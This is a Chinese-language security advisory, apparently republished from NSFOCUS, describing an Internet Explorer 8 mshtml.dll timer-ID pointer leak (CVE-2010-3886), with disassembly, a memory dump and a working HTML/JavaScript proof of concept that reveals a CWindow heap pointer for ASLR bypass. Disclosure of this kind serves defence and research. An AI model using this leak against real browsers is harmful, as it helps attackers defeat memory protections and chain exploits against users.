安全研究

安全漏洞
Microsoft IE mshtml.dll库远程信息泄露漏洞

发布日期:2010-06-29
更新日期:2010-06-30

受影响系统:
Microsoft Internet Explorer 8.0
描述:
BUGTRAQ  ID: 41247
CVE ID: CVE-2010-3886

Internet Explorer是Windows操作系统中默认捆绑的web浏览器。

在CWindow的构造函数中变量IDEvent被初始化为1:

Module: mshtml.dll Vista SP2

.text:7403EC0A                 mov     dword ptr [ecx+30h], 1 ; TimerID_Counter = 1

每次setInterval或setTimeout创建一个Timeout事件时都会通过以下函数注入到列表中:

Module: mshtml.dll Vista SP2

text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList(struct TIMEOUTEVENTINFO *, unsigned int *, int)
.text:741170E5 ?InsertIntoTimeoutList@CTimeoutEventList@@QAEJPAUTIMEOUTEVENTINFO@@PAIH@Z proc near
.text:741170E5    ; CODE XREF: CWindow::AddTimeoutCode(tagVARIANT *,ushort *,long,long,uint *)+73p
.text:741170E5      ; CWindow::FireTimeOut(uint)+14DFB8p

在以下代码中:

Module: mshtml.dll Vista SP2

text:741170E5 ; public: long __thiscall CTimeoutEventList::InsertIntoTimeoutList

[...]

.text:74117100                 mov     eax, [esi+30h] ;  p->IDEvent
.text:74117103                 mov     ecx, [ebp+arg_0] ; TimerEvent *t;
.text:74117106                 add     eax, esi        ; s = p + p->IDEvent; // Oops!
.text:74117108                 mov     [ecx+0Ch], eax   ; t->ID = s
.text:7411710B                 inc     dword ptr [esi+30h] p->IDEvent++

为了不返回纯顺序的可预测ID,微软添加了一个magic value,但这个值是最终表示打开浏览器窗口的CWindow对象的指针成员,因此即使在重载后,只要没有关闭浏览器的例程,该值在内存中是持续性的。考虑到IDEvent是可预测的,且指针偏移时已知的,因此可以推测出到持续性CWindow对象的指针(leakedPointer - ID_Counter - 0x3c),获得执行ROP/防ASLR攻击的有用地址信息。

06930dd8  6b0253f8 mshtml!CWindow::`vftable'
06930ddc  00000004
06930de0  00000008
06930de4  070f5720
06930de8  00000000
06930dec  6b028ad8 mshtml!CWindow::`vftable'
06930df0  6b04de30 mshtml!CWindow::`vftable'
06930df4  6aff257c mshtml!CWindow::`vftable'
06930df8  6aff2220 mshtml!CWindow::`vftable'
06930dfc  6aff25a0 mshtml!CWindow::`vftable'
06930e00  068ee3b0
06930e04  00000000
06930e08  068f4aa8
06930e0c  06926be0
06930e10  00000000
06930e14  6b01f5a4 mshtml!CDataAry::`vftable'
06930e18  00000000
06930e1c  00000000
06930e20  00000000
06930e24  6b01f5a4 mshtml!CDataAry::`vftable'
06930e28  00000000
06930e2c  00000000
06930e30  00000000
06930e34  6b01f5a4 mshtml!CDataAry::`vftable'
06930e38  00000000
06930e3c  00000000
06930e40  00000000
06930e44  00000001
06930e48  00000000
06930e4c  00000000
06930e50  00000000
06930e54  00000000

<*来源:Rubén Santamarta
  
  链接:http://reversemode.com/index.php?option=com_content&task=view&id=68&Itemid=1
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<html>

    <head>

        
        <title>mshtml.dll CTimeoutEventList::InsertIntoTimeoutList Timer ID Pointer leak - Rub閚 Santamarta www.reversemode.com</title>

        <script type='text/javascript'>
                        var i = 1; // counter
                        
            function LeakOrDie() {
                var t;
                            t=setInterval("foo()",2000);
                            t-=i;
                            document.getElementById('atun').innerHTML = '<b> Pointer leaked:</b> '+'0x'+t.toString(16);
                            i++;
            }
            
              function foo()
              {
                  return;
              }
            
            
        </script>

    </head>

    <body>

    
    <INPUT TYPE=button VALUE="Press to leak"  ONCLICK="LeakOrDie();">

    <br /><br />

        <div id='atun'>        </div>
    
   </body>

</html>

建议:
厂商补丁:

Microsoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.microsoft.com/windows/ie/default.asp

浏览次数:3138
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障